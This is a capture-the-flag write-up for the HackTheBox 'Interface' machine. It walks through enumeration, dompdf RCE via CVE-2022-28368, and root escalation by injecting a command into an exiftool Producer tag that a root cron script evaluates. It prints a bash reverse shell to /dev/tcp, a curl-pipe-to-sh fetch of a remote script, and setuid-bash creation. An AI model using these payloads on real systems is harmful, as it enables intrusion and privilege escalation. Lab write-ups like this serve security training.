Interface

Recon

nmap_scan.log
Open 10.129.228.208:22
Open 10.129.228.208:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.228.208

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsUhYQQaT6D7Isd510Mjs3HcpUf64NWRgfkCDtCcPC3KjgNKdOByzhdgpqKftmogBoGPHDlfDboK5hTEm/6mqhbNQDhOiX1Y++AXwcgLAOpjfSExhKQSyKZVveZCl/JjB/th0YA12XJXECXl5GbNFtxDW6DnueLP5l0gWzFxJdtj7C57yai6MpHieKm564NOhsAqYqcxX8O54E9xUBW4u9n2vSM6ZnMutQiNSkfanyV0Pdo+yRWBY9TpfYHvt5A3qfcNbF3tMdQ6wddCPi98g+mEBdIbn1wQOvL0POpZ4DVg0asibwRAGo1NiUX3+dJDJbThkO7TeLyROvX/kostPH
|   256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrQxMOFdtvAa9AGgwirSYniXm7NpzZbgIKhzgCOM1qwqK8QFkN6tZuQsCsRSzZ59+3l+Ycx5lTn11fbqLFqoqM=
|   256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtZ4bP4/4TJNGMNMmXWqt2dLijhttMoaeiJYJRJ4Kqy
80/tcp open  http    syn-ack nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
|_http-title: Site Maintenance
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

Update DNS.

API

In the headers we get some interesting information.

Writeup-1.png

Dirbusting

└─$ curl http://prd.m.rendering-api.interface.htb/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Dec 2024 20:55:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

File not found.

Fuzzing for filename in GET and POST request yielded no success. Then I tried to enumerate the directories. /vendor exists, but denied.

└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        1l        2w       15c http://prd.m.rendering-api.interface.htb/vendor
└─$ curl http://prd.m.rendering-api.interface.htb/vendor -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Dec 2024 21:03:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Access denied.

Not sure why, but feroxbuster didn't recurse on this endpoint.

└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/vendor' -w /usr/share/seclists/Discovery/Web-Content/common.txt
403      GET        1l        2w       15c http://prd.m.rendering-api.interface.htb/vendor/composer
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/vendor/composer' -w /usr/share/seclists/Discovery/Web-Content/common.txt
403      GET        1l        2w       15c http://prd.m.rendering-api.interface.htb/vendor/composer/LICENSE

403 everywhere 🤔

Because it's an API it's possible that 404 is returned as response which feroxbuster by default filters.

└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -N 0 -m GET,POST
404      GET        1l        3w       16c http://prd.m.rendering-api.interface.htb/
404     POST        1l        3w       16c http://prd.m.rendering-api.interface.htb/
404      GET        1l        3w       50c http://prd.m.rendering-api.interface.htb/api/experiments
404      GET        1l        3w       50c http://prd.m.rendering-api.interface.htb/api/experiments/configurations
404      GET        1l        3w       50c http://prd.m.rendering-api.interface.htb/api
404     POST        1l        3w       50c http://prd.m.rendering-api.interface.htb/api/experiments
404     POST        1l        3w       50c http://prd.m.rendering-api.interface.htb/api/experiments/configurations
404     POST        1l        3w       50c http://prd.m.rendering-api.interface.htb/api
403      GET        1l        2w       15c http://prd.m.rendering-api.interface.htb/vendor
403     POST        1l        2w       15c http://prd.m.rendering-api.interface.htb/vendor

└─$ curl http://prd.m.rendering-api.interface.htb/api/experiments/configurations
{"status":"404","status_text":"route not defined"}

└─$ curl http://prd.m.rendering-api.interface.htb/api/anything
{"status":"404","status_text":"route not defined"} 

More fuzzing

└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/api' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --dont-filter -W 3 -m GET,POST
422     POST        1l        2w       36c http://prd.m.rendering-api.interface.htb/api/html2pdf

Parameter Fuzzing

Because we are working with NextJS app it's liking JSON more then urlencoded data.

└─$ ffuf -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -d FUZZ=/etc/hostname -mc all -fs 36
...Nothing...
└─$ ffuf -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Content-Type: application/json' -d '{"FUZZ":"/etc/hostname"}' -mc all -fs 36
html                    [Status: 200, Size: 1140, Words: 116, Lines: 77, Duration: 283ms]

It works as expected.

Writeup-2.png

DomPDF

└─$ exiftool ~/html-new.pdf
ExifTool Version Number         : 12.76
File Name                       : html-new.pdf
Directory                       : /home/woyag
File Size                       : 1271 bytes
File Modification Date/Time     : 2024:12:03 16:27:36-05:00
File Access Date/Time           : 2024:12:03 16:27:45-05:00
File Inode Change Date/Time     : 2024:12:03 16:27:36-05:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : dompdf 1.2.0 + CPDF
Create Date                     : 2024:12:03 21:27:17+00:00
Modify Date                     : 2024:12:03 21:27:17+00:00

Dompdf 1.2.1 - Remote Code Execution (RCE)CVE-2022-28368 -> From XSS to RCE (dompdf 0day) -> dompdf-rce

PoC is working

Writeup-3.png

Reverse Shell

└─$ git clone https://github.com/rvizx/CVE-2022-28368
└─$ cd  CVE-2022-28368
└─$ py dompdf-rce.py --dompdf 'http://prd.m.rendering-api.interface.htb' --inject 'http://prd.m.rendering-api.interface.htb/api/html2pdf?html='
[inf]: selected ip address: 10.10.14.113
[inf]: using payload: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.113/9002 0>&1'");?>
[inf]: generating exploit.css and exploit_font.php files...
[inf]: url hash: c3b58e482e52b053a4ce187e326d51f3
[inf]: filename: exploitfont_normal_c3b58e482e52b053a4ce187e326d51f3.php
[inf]: starting http server on port 9001..
[inf]: sending the payloads..

Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
10.129.228.208 - - [04/Dec/2024 12:45:24] "GET /exploit.css HTTP/1.0" 200 -
10.129.228.208 - - [04/Dec/2024 12:45:24] "GET /exploit_font.php HTTP/1.0" 200 -

[inf]: success!
[inf]: url: http://prd.m.rendering-api.interface.htb/api/html2pdf?html= - status_code: 200
[inf]: terminating the http server..
[ins]: start a listener on port 9002 (execute the command on another terminal and press enter)

nc -lvnp 9002

[ins]: press enter to continue!
[ins]: check for connections!

Note: as per post the url is /vendor/library/library/lib/fonts/*.php, like:

Writeup-4.png

Privilege Escalation

www-data@interface:~/api$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔══════════╣ Executable files potentially added by user (limit 70)
2023-02-08+12:57:17.7808908480 /usr/local/sbin/cleancache.sh
2023-01-13+10:54:47.4696015670 /usr/local/sbin/laurel
2022-11-20+21:59:04.6543265010 /var/www/api/vendor/sabberworm/php-css-parser/bin/quickdump.php
2022-11-20+21:59:04.5303264290 /var/www/api/vendor/bramus/router/demo/index.php
2022-11-20+21:59:04.5303264290 /var/www/api/vendor/bramus/router/README.md
2022-11-20+21:53:41.5014786250 /usr/local/bin/composer
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/www/.config/lxc/config.yml
/var/www/.gnupg/pubring.kbx
/var/www/.gnupg/trustdb.gpg
/var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
/var/log/syslog
/var/log/auth.log
/var/log/journal/69623df55e8444d7934baf570db9aa6e/system.journal
╔══════════╣ Backup folders
drwx------ 2 root root 4096 Jan 16  2023 /etc/lvm/backup
drwxr-xr-x 2 root root 4096 Dec  4 06:25 /var/backups
╔══════════╣ Web files?(output limit)
/var/www/:
total 28K
drwxr-xr-x  7 www-data www-data 4.0K Dec  4 17:55 .
drwxr-xr-x 14 root     root     4.0K Jan 16  2023 ..
drwx------  4 www-data www-data 4.0K Dec  4 17:54 .config
drwx------  3 www-data www-data 4.0K Dec  4 17:55 .gnupg
drwxr-xr-x  3 www-data www-data 4.0K Jan 16  2023 api
drwxr-xr-x  2 root     root     4.0K Jan 31  2023 html
ww-data 4.0K Jan 16  2023 starting-page

Cronjob

In Executable files potentially added by user section linpeas showed a cleanup script of some sort.

www-data@interface:~$ ls -alh /usr/local/sbin/cleancache.sh
-rwxr-xr-x 1 root root 346 Feb  8  2023 /usr/local/sbin/cleancache.sh
www-data@interface:~$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
    if [[ -f "$cfile" ]]; then
        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi
    fi
done

bash test injection vulnerability with -v

www-data@interface:~$ rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[$(install -m4777 /bin/bash /tmp/bash)]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
    1 image files updated
Producer                        : x[$(install -m4777 /bin/bash /tmp/bash)]
www-data@interface:~$ /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh: line 9: [[: x[$(install: bad array subscript (error token is "x[$(install") ""                                   "
Removing /tmp/LetMeIn.jpg_original
Removing /tmp/pwned

www-data@interface:~$ echo $'#!/bin/bash\nid > /tmp/pwned' > /dev/shm/t.sh; chmod +x /dev/shm/t.sh; rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[`/dev/shm/t.sh`]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
<MeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
    1 image files updated
Producer                        : x[`/dev/shm/t.sh`]
www-data@interface:~$ /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh
Removing /tmp/LetMeIn.jpg
Removing /tmp/LetMeIn.jpg_original
www-data@interface:~$ cat /tmp/pwned
cat /tmp/pwned
uid=33(www-data) gid=33(www-data) groups=33(www-data)

For some odd reasons directly executing the command inside $(...) or `...` didn't work. If we include the script inside it then works?!?!?

www-data@interface:~$ echo $'#!/bin/bash\ninstall -m4777 /bin/bash /tmp/bash' > /dev/shm/t.sh; chmod +x /dev/shm/t.sh; rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[`/dev/shm/t.sh`]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
    1 image files updated
Producer                        : x[`/dev/shm/t.sh`]
---
Wait...
---
www-data@interface:~$ ls -alh /tmp/bash
-rwsrwxrwx 1 root root 1.1M Dec  4 18:34 /tmp/bash

Flags

> ls /*/root.txt /home/*/user.txt
/home/dev/user.txt
/root/root.txt
> ls /*/root.txt /home/*/user.txt | xargs cat
f61f5f9b368103865cb4abaecaa11b18
e8544d486559ce85fe12b4171908fbac

Last updated